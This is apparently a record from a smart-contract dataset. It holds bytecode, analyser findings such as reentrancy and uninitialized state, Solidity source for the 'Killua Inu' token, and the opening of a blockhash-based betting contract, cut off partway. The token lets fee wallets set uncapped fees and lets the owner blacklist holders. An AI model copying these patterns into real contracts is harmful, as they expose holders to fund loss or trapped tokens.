16868287016117b1565b9150509250925092565b600060ff82169050919050565b611a3681611a20565b82525050565b6000602082019050611a516000830184611a2d565b92915050565b600060208284031215611a6d57611a6c611603565b5b6000611a7b84828501611656565b91505092915050565b611a8d8161162d565b82525050565b6000602082019050611aa86000830184611a84565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611af557607f821691505b60208210811415611b0957611b08611aae565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b78826116ab565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611bab57611baa611b3e565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611c126028836116ea565b9150611c1d82611bb6565b604082019050919050565b60006020820190508181036000830152611c4181611c05565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b6000611c7e601f836116ea565b9150611c8982611c48565b602082019050919050565b60006020820190508181036000830152611cad81611c71565b9050919050565b6000611cbf826116ab565b9150611cca836116ab565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611cff57611cfe611b3e565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611d666024836116ea565b9150611d7182611d0a565b604082019050919050565b60006020820190508181036000830152611d9581611d59565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611df86022836116ea565b9150611e0382611d9c565b604082019050919050565b60006020820190508181036000830152611e2781611deb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611e8a6025836116ea565b9150611e9582611e2e565b604082019050919050565b60006020820190508181036000830152611eb981611e7d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f1c6023836116ea565b9150611f2782611ec0565b604082019050919050565b60006020820190508181036000830152611f4b81611f0f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611fae6026836116ea565b9150611fb982611f52565b604082019050919050565b60006020820190508181036000830152611fdd81611fa1565b905091905056fea264697066735822122010f96cd9e6c5629132c0a98490d718b9df8150e3665f12e7bfd00e86c498789664736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
| 2,458 |
0xcc5b12d2cc4e7d35fd21b85f8136e71051a2815a
|
/**
* https://t.me/KilluaInu
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KilluaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0xefb0eb142D4BE5f4FC8b1b28a9ABbD65313c1137);
address payable private _feeAddrWallet2 = payable(0x842e395E683AF6cDd8a6fBa50dBBc475FFE55C07);
string private constant _name = "Killua Inu";
string private constant _symbol = "KILLUA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610321578063c3c8cd8014610341578063c9567bf914610356578063cfe81ba01461036b578063dd62ed3e1461038b57600080fd5b8063715018a614610275578063842b7c081461028a5780638da5cb5b146102aa57806395d89b41146102d2578063a9059cbb1461030157600080fd5b8063273123b7116100e7578063273123b7146101e2578063313ce567146102045780635932ead1146102205780636fc3eaec1461024057806370a082311461025557600080fd5b806306fdde0314610124578063095ea7b31461016957806318160ddd1461019957806323b872dd146101c257600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a8152694b696c6c756120496e7560b01b60208201525b604051610160919061187d565b60405180910390f35b34801561017557600080fd5b50610189610184366004611704565b6103d1565b6040519015158152602001610160565b3480156101a557600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610160565b3480156101ce57600080fd5b506101896101dd3660046116c3565b6103e8565b3480156101ee57600080fd5b506102026101fd366004611650565b610451565b005b34801561021057600080fd5b5060405160098152602001610160565b34801561022c57600080fd5b5061020261023b3660046117fc565b6104a5565b34801561024c57600080fd5b506102026104ed565b34801561026157600080fd5b506101b4610270366004611650565b61051a565b34801561028157600080fd5b5061020261053c565b34801561029657600080fd5b506102026102a5366004611836565b6105b0565b3480156102b657600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102de57600080fd5b506040805180820190915260068152654b494c4c554160d01b6020820152610153565b34801561030d57600080fd5b5061018961031c366004611704565b610607565b34801561032d57600080fd5b5061020261033c366004611730565b610614565b34801561034d57600080fd5b506102026106aa565b34801561036257600080fd5b506102026106e0565b34801561037757600080fd5b50610202610386366004611836565b610aa9565b34801561039757600080fd5b506101b46103a636600461168a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103de338484610b00565b5060015b92915050565b60006103f5848484610c24565b610447843361044285604051806060016040528060288152602001611a69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f07565b610b00565b5060019392505050565b6000546001600160a01b031633146104845760405162461bcd60e51b815260040161047b906118d2565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cf5760405162461bcd60e51b815260040161047b906118d2565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050d57600080fd5b4761051781610f41565b50565b6001600160a01b0381166000908152600260205260408120546103e290610fc6565b6000546001600160a01b031633146105665760405162461bcd60e51b815260040161047b906118d2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106025760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600a55565b60006103de338484610c24565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161047b906118d2565b60005b81518110156106a65760016006600084848151811061066257610662611a19565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069e816119e8565b915050610641565b5050565b600c546001600160a01b0316336001600160a01b0316146106ca57600080fd5b60006106d53061051a565b90506105178161104a565b6000546001600160a01b0316331461070a5760405162461bcd60e51b815260040161047b906118d2565b600f54600160a01b900460ff16156107645760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a430826b033b2e3c9fd0803ce8000000610b00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107dd57600080fd5b505afa1580156107f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610815919061166d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610895919061166d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108dd57600080fd5b505af11580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610915919061166d565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109458161051a565b60008061095a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bd57600080fd5b505af11580156109d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f6919061184f565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a69190611819565b600d546001600160a01b0316336001600160a01b031614610afb5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600b55565b6001600160a01b038316610b625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047b565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047b565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047b565b60008111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047b565b6000546001600160a01b03848116911614801590610d7857506000546001600160a01b03838116911614155b15610ef7576001600160a01b03831660009081526006602052604090205460ff16158015610dbf57506001600160a01b03821660009081526006602052604090205460ff16155b610dc857600080fd5b600f546001600160a01b038481169116148015610df35750600e546001600160a01b03838116911614155b8015610e1857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2d5750600f54600160b81b900460ff165b15610e8a57601054811115610e4157600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6557600080fd5b610e7042601e611978565b6001600160a01b0383166000908152600760205260409020555b6000610e953061051a565b600f54909150600160a81b900460ff16158015610ec05750600f546001600160a01b03858116911614155b8015610ed55750600f54600160b01b900460ff165b15610ef557610ee38161104a565b478015610ef357610ef347610f41565b505b505b610f028383836111d3565b505050565b60008184841115610f2b5760405162461bcd60e51b815260040161047b919061187d565b506000610f3884866119d1565b95945050505050565b600c546001600160a01b03166108fc610f5b8360026111de565b6040518115909202916000818181858888f19350505050158015610f83573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9e8360026111de565b6040518115909202916000818181858888f193505050501580156106a6573d6000803e3d6000fd5b600060085482111561102d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047b565b6000611037611220565b905061104383826111de565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109257611092611a19565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e657600080fd5b505afa1580156110fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111e919061166d565b8160018151811061113157611131611a19565b6001600160a01b039283166020918202929092010152600e546111579130911684610b00565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611190908590600090869030904290600401611907565b600060405180830381600087803b1580156111aa57600080fd5b505af11580156111be573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f02838383611243565b600061104383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061133a565b600080600061122d611368565b909250905061123c82826111de565b9250505090565b600080600080600080611255876113b0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611287908761140d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b6908661144f565b6001600160a01b0389166000908152600260205260409020556112d8816114ae565b6112e284836114f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132791815260200190565b60405180910390a3505050505050505050565b6000818361135b5760405162461bcd60e51b815260040161047b919061187d565b506000610f388486611990565b60085460009081906b033b2e3c9fd0803ce800000061138782826111de565b8210156113a7575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cd8a600a54600b5461151c565b92509250925060006113dd611220565b905060008060006113f08e878787611571565b919e509c509a509598509396509194505050505091939550919395565b600061104383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f07565b60008061145c8385611978565b9050838110156110435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047b565b60006114b8611220565b905060006114c683836115c1565b306000908152600260205260409020549091506114e3908261144f565b30600090815260026020526040902055505050565b600854611505908361140d565b600855600954611515908261144f565b6009555050565b6000808080611536606461153089896115c1565b906111de565b9050600061154960646115308a896115c1565b905060006115618261155b8b8661140d565b9061140d565b9992985090965090945050505050565b600080808061158088866115c1565b9050600061158e88876115c1565b9050600061159c88886115c1565b905060006115ae8261155b868661140d565b939b939a50919850919650505050505050565b6000826115d0575060006103e2565b60006115dc83856119b2565b9050826115e98583611990565b146110435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047b565b803561164b81611a45565b919050565b60006020828403121561166257600080fd5b813561104381611a45565b60006020828403121561167f57600080fd5b815161104381611a45565b6000806040838503121561169d57600080fd5b82356116a881611a45565b915060208301356116b881611a45565b809150509250929050565b6000806000606084860312156116d857600080fd5b83356116e381611a45565b925060208401356116f381611a45565b929592945050506040919091013590565b6000806040838503121561171757600080fd5b823561172281611a45565b946020939093013593505050565b6000602080838503121561174357600080fd5b823567ffffffffffffffff8082111561175b57600080fd5b818501915085601f83011261176f57600080fd5b81358181111561178157611781611a2f565b8060051b604051601f19603f830116810181811085821117156117a6576117a6611a2f565b604052828152858101935084860182860187018a10156117c557600080fd5b600095505b838610156117ef576117db81611640565b8552600195909501949386019386016117ca565b5098975050505050505050565b60006020828403121561180e57600080fd5b813561104381611a5a565b60006020828403121561182b57600080fd5b815161104381611a5a565b60006020828403121561184857600080fd5b5035919050565b60008060006060848603121561186457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118aa5785810183015185820160400152820161188e565b818111156118bc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198b5761198b611a03565b500190565b6000826119ad57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119cc576119cc611a03565b500290565b6000828210156119e3576119e3611a03565b500390565b60006000198214156119fc576119fc611a03565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051757600080fd5b801515811461051757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a9a47f47f266da3c3d8a39c807bdbfc64d47caafc6860c4afb3af919b827eb6064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,459 |
0xb8c5952d4ec0407f0edf23480655bca641480623
|
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
event LogNew(address indexed old, address indexed current);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) onlyOwner public {
emit LogNew(owner, _newOwner);
owner = _newOwner;
}
}
contract IMoneyManager {
function payTo(address _participant, uint256 _revenue) payable public returns(bool);
}
contract Game is Owned {
using SafeMath for uint256;
// The address of the owner
address public ownerWallet;
// The address of the activator
mapping(address => bool) internal activator;
// Constants
uint256 public constant BET = 10 finney; //0.01 ETH
uint8 public constant ODD = 1;
uint8 public constant EVEN = 2;
uint8 public constant noBets = 3;
uint256 public constant COMMISSION_PERCENTAGE = 10;
uint256 public constant END_DURATION_BETTING_BLOCK = 5520;
uint256 public constant TARGET_DURATION_BETTING_BLOCK = 5760;
uint256 public constant CONTRACT_VERSION = 201805311200;
// The address of the moneyManager
address public moneyManager;
// Array which stores the target blocks
uint256[] targetBlocks;
// Mappings
mapping(address => Participant) public participants;
mapping(uint256 => mapping(uint256 => uint256)) oddAndEvenBets; // Stores the msg.value for the block and the bet (odd or even)
mapping(uint256 => uint256) blockResult; // Stores if the blockhash's last char is odd or even
mapping(uint256 => bytes32) blockHash; // Stores the hash of block (block.number)
mapping(uint256 => uint256) blockRevenuePerTicket; // Stores the amount of the revenue per person for given block
mapping(uint256 => bool) isBlockRevenueCalculated; // Stores if the blocks revenue is calculated
mapping(uint256 => uint256) comissionsAtBlock; // Stores the commision amount for given block
// Public variables
uint256 public _startBetBlock;
uint256 public _endBetBlock;
uint256 public _targetBlock;
// Modifiers
modifier afterBlock(uint256 _blockNumber) {
require(block.number >= _blockNumber);
_;
}
modifier onlyActivator(address _activator) {
require(activator[_activator] == true);
_;
}
// Structures
struct Participant {
mapping(uint256 => Bet) bets;
bool isParticipated;
}
struct Bet {
uint256 ODDBets;
uint256 EVENBets;
bool isRevenuePaid;
}
/** @dev Constructor
* @param _moneyManager The address of the money manager.
* @param _ownerWallet The address of the owner.
*
*/
constructor(address _moneyManager, address _ownerWallet) public {
setMoneyManager(_moneyManager);
setOwnerWallet(_ownerWallet);
}
/** @dev Fallback function.
* Provides functionality for person to bet.
*/
function() payable public {
bet(getBlockHashOddOrEven(block.number - 128), msg.value.div(BET));
}
/** @dev Function which activates the cycle.
* Only the activator can call the function.
* @param _startBlock The starting block of the game.
* Set the starting block from which the participants can start to bet for target block.
* Set the end block to which the participants can bet fot target block.
* Set the target block for which the participants will bet.
* @return success Is the activation of the cycle successful.
*/
function activateCycle(uint256 _startBlock) public onlyActivator(msg.sender) returns (bool _success) {
if (_startBlock == 0) {
_startBlock = block.number;
}
require(block.number >= _endBetBlock);
_startBetBlock = _startBlock;
_endBetBlock = _startBetBlock.add(END_DURATION_BETTING_BLOCK);
_targetBlock = _startBetBlock.add(TARGET_DURATION_BETTING_BLOCK);
targetBlocks.push(_targetBlock);
return true;
}
// Events
event LogBet(address indexed participant, uint256 blockNumber, uint8 oddOrEven, uint256 betAmount);
event LogNewParticipant(address indexed _newParticipant);
/** @dev Function from which everyone can bet
* @param oddOrEven The number on which the participant want to bet (it is 1 - ODD or 2 - EVEN).
* @param betsAmount The amount of tickets the participant want to buy.
* @return success Is the bet successful.
*/
function bet(uint8 oddOrEven, uint256 betsAmount) public payable returns (bool _success) {
require(betsAmount > 0);
uint256 participantBet = betsAmount.mul(BET);
require(msg.value == participantBet);
require(oddOrEven == ODD || oddOrEven == EVEN);
require(block.number <= _endBetBlock && block.number >= _startBetBlock);
// @dev - check if participant already betted
if (participants[msg.sender].isParticipated == false) {
// create new participant in memory
Participant memory newParticipant;
newParticipant.isParticipated = true;
//save the participant to state
participants[msg.sender] = newParticipant;
emit LogNewParticipant(msg.sender);
}
uint256 betTillNowODD = participants[msg.sender].bets[_targetBlock].ODDBets;
uint256 betTillNowEVEN = participants[msg.sender].bets[_targetBlock].EVENBets;
if(oddOrEven == ODD) {
